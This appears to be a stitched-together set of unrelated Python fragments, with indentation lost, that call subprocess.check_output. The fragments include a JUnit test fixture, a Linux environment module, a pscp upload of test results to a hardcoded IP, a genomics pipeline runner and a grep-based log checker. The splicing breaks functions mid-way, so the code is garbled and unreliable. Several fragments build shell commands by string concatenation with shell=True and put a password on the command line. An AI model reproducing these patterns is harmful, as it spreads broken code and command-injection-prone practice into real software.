target = env.get_target(target_name)
try:
remote_place = target.get_resource(RemotePlace, await=False)
remote_name = remote_place.name
my_junit.add_global_property(
'TARGET_{}_REMOTE'.format(target_name.upper()), remote_name)
except NoResourceFoundError:
pass
for name, path in env.config.get_paths().items():
my_junit.add_global_property('PATH_{}'.format(name.upper()), path)
try:
sha = subprocess.check_output(
"git rev-parse HEAD".split(), cwd=path)
except subprocess.CalledProcessError:
continue
except FileNotFoundError:
continue
my_junit.add_global_property(
'PATH_{}_GIT_COMMIT'.format(name.upper()),
sha.decode("utf-8").strip("\n"))
for name, image in env.config.get_images().items():
my_junit.add_global_property(
'IMAGE_{}'.format(name.upper()), image)
try:
sha = subprocess.check_output(
"git rev-parse HEAD".split(), cwd=os.path.dirname(image))
except subprocess.CalledProcessError:
continue
except FileNotFoundError:
continue
my_junit.add_global_property(
'IMAGE_{}_GIT_COMMIT'.format(name.upper()),
sha.decode("utf-8").strip("\n"))
yield env
env.cleanup()
def CheckCmdExist(cmd):
try:
subprocess.check_output("which %s" % (cmd), shell=True)
except:
sys.exit("Error: %s executable not found" % (cmd))
return cmd
# https://github.com/wrye-bash
#
# =============================================================================
"""Encapsulates Linux-specific classes and methods."""
import os
import subprocess
import sys
from ..bolt import deprint, GPath, structs_cache, Path
from ..exception import EnvError
from .common import get_env_var, iter_env_vars, WinAppInfo
# API - Constants =============================================================
try:
MAX_PATH = int(subprocess.check_output([u'getconf', u'PATH_MAX', u'/']))
except (ValueError, subprocess.CalledProcessError, OSError):
deprint(u'calling getconf failed - error:', traceback=True)
MAX_PATH = 4096
FO_MOVE = 1
FO_COPY = 2
FO_DELETE = 3
FO_RENAME = 4
FOF_NOCONFIRMMKDIR = 512
# TaskDialog is Windows-specific, so stub all this out (and raise if TaskDialog
# is used, see below)
TASK_DIALOG_AVAILABLE = False
BTN_OK = BTN_CANCEL = BTN_YES = BTN_NO = None
newFile = open(meta_name, 'w')
newFile.truncate()
newFile.write("url=" + url) # line has \r\n at end
newFile.write("datetime=" + myDate + "\r\n")
newFile.write(username + "\r\n")
newFile.write("pass_fail=" + pass_fail + "\r\n")
# not necessary as f.close() calls f.flush()
#newFile.flush() # double check if necessary.
newFile.close()
# Archive data using 7Zip
# tarball/compressed name chanage to be username_mytime
tarball_name=username + "_" + str(myTime) + ".tar"
compressed_name=username + "_" + str(myTime) + ".tar.gz"
tar_cmd=['7z', 'a', '-ttar', tarball_name, '*']
tar_result = subprocess.check_output(tar_cmd, shell=True)
gzip_cmd=['7z', 'a', '-tgzip', compressed_name, tarball_name]
gzip_result = subprocess.check_output(gzip_cmd, shell=True)
# Use putty scp (pscp) to secure copy to dropBox are
remote="15.98.81.50"
path_to_dropbox="/users/thomsen/temp"
full_remote=username + '@' + remote + ':' + path_to_dropbox
# pscp TestResults.tgz remote_user@remote:path_to_dropbox
pscp_cmd=['pscp', '-pw', remote_password, compressed_name, full_remote]
pscp_result = subprocess.check_output(pscp_cmd, shell=True)
# Clean up
os.unlink(meta_name)
os.unlink(tarball_name)
os.unlink(compressed_name)
def Run(args):
basedir = os.path.dirname(__file__)
EVCBin = CheckFileExist(basedir +
"/../dataPrepScripts/ExtractVariantCandidates.py")
GTBin = CheckFileExist(basedir + "/../dataPrepScripts/GetTruth.py")
CTBin = CheckFileExist(basedir + "/../dataPrepScripts/CreateTensor.py")
CVBin = CheckFileExist(basedir + "/callVar.py")
pypyBin = CheckCmdExist(args.pypy)
samtoolsBin = CheckCmdExist(args.samtools)
chkpnt_fn = CheckFileExist(args.chkpnt_fn, sfx=".meta")
bam_fn = CheckFileExist(args.bam_fn)
ref_fn = CheckFileExist(args.ref_fn)
if args.bed_fn == None:
bed_fn = ""
else:
bed_fn = CheckFileExist(args.bed_fn)
bed_fn = "--bed_fn %s" % (bed_fn)
vcf_fn = None
if args.vcf_fn != None:
vcf_fn = CheckFileExist(args.vcf_fn)
call_fn = args.call_fn
threshold = args.threshold
minCoverage = args.minCoverage
sampleName = args.sampleName
ctgName = args.ctgName
if ctgName == None:
sys.exit(
"--ctgName must be specified. You can call variants on multiple chromosomes simultaneously."
)
if args.considerleftedge:
considerleftedge = "--considerleftedge"
else:
considerleftedge = ""
if args.qual:
qual = "--qual %d" % (args.qual)
else:
qual = ""
if args.ctgStart != None and args.ctgEnd != None and int(
args.ctgStart) <= int(args.ctgEnd):
ctgRange = "--ctgStart %s --ctgEnd %s" % (args.ctgStart, args.ctgEnd)
else:
ctgRange = ""
dcov = args.dcov
maxCpus = multiprocessing.cpu_count()
if args.threads == None: numCpus = multiprocessing.cpu_count()
else:
numCpus = args.threads if args.threads < multiprocessing.cpu_count(
) else multiprocessing.cpu_count()
cpuSet = ",".join(
str(x) for x in random.sample(xrange(0, maxCpus), numCpus))
taskSet = "taskset -c %s" % cpuSet
try:
subprocess.check_output("which %s" % ("taskset"), shell=True)
except:
taskSet = ""
if args.delay > 0:
delay = random.randrange(0, args.delay)
print >> sys.stderr, "Delay %d seconds before starting variant calling ..." % (
delay)
time.sleep(delay)
try:
if vcf_fn == None:
c.EVCInstance = subprocess.Popen(\
shlex.split("%s %s --bam_fn %s --ref_fn %s %s --ctgName %s %s --threshold %s --minCoverage %s --samtools %s" %\
(pypyBin, EVCBin, bam_fn, ref_fn, bed_fn, ctgName, ctgRange, threshold, minCoverage, samtoolsBin) ),\
stdout=subprocess.PIPE, stderr=sys.stderr, bufsize=8388608)
else:
c.EVCInstance = subprocess.Popen(\
shlex.split("%s %s --vcf_fn %s --ctgName %s %s --noGT 1" %\
(pypyBin, GTBin, vcf_fn, ctgName, ctgRange) ),\
stdout=subprocess.PIPE, stderr=sys.stderr, bufsize=8388608)
c.CTInstance = subprocess.Popen(\
shlex.split("%s %s --bam_fn %s --ref_fn %s --ctgName %s %s %s --samtools %s --dcov %d" %\
(pypyBin, CTBin, bam_fn, ref_fn, ctgName, ctgRange, considerleftedge, samtoolsBin, dcov) ),\
stdin=c.EVCInstance.stdout, stdout=subprocess.PIPE, stderr=sys.stderr, bufsize=8388608)
c.CVInstance = subprocess.Popen(\
shlex.split("%s python %s --chkpnt_fn %s --call_fn %s --sampleName %s --threads %d --ref_fn %s %s" %\
(taskSet, CVBin, chkpnt_fn, call_fn, sampleName, numCpus, ref_fn, qual) ),\
stdin=c.CTInstance.stdout, stdout=sys.stderr, stderr=sys.stderr, bufsize=8388608)
except Exception as e:
print >> sys.stderr, e
sys.exit("Failed to start required processes. Exiting...")
signal.signal(signal.SIGALRM, CheckRtCode)
signal.alarm(2)
c.CVInstance.wait()
c.CTInstance.stdout.close()
c.CTInstance.wait()
c.EVCInstance.stdout.close()
c.EVCInstance.wait()
def test_integration():
"""Test that the endpoint is installed"""
assert subprocess.check_output(["presentvalue", "-h"])
def ssh_run(cmd: str) -> str:
val: str = subprocess.check_output(['ssh'] + ssh_args +
[ssh_server, cmd]).decode()
return val
def winpath(path):
return subprocess.check_output(['cygpath', '-w', path]).strip()
def check_run(self, log = "", commandType = ""):
"""
Produce a warning if a command didn't close the log properly i.e. it crashed
NOTE: grep, -L inverse match, -l return only filename
"""
import subprocess
if (not os.path.exists(log)):
logger.warning("No log file found to check results: " + log)
return 1
if (commandType == "DPPP"):
out = subprocess.check_output('grep -L "Finishing processing" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "Exception" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "**** uncaught exception ****" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "error" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "misspelled" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
elif (commandType == "CASA"):
out = subprocess.check_output('grep -l "[a-z]Error" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "An error occurred running" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "\*\*\* Error \*\*\*" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
elif (commandType == "wsclean"):
out = subprocess.check_output('grep -l "exception occured" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -l "Segmentation fault" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -L "Cleaning up temporary files..." '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
elif (commandType == "python"):
out = subprocess.check_output('grep -l "Traceback (most recent call last):" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -i -l \'(?=^((?!error000).)*$).*Error.*\' '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
out += subprocess.check_output('grep -i -l "Critical" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
elif (commandType == "general"):
out = subprocess.check_output('grep -l -i "error" '+log+' ; exit 0', shell = True, stderr = subprocess.STDOUT)
else:
logger.warning("Unknown command type for log checking: '" + commandType + "'")
return 1
if out != b'':
out = out.split(b'\n')[0].decode()
logger.error(commandType+' run problem on:\n'+out)
return 1
return 0
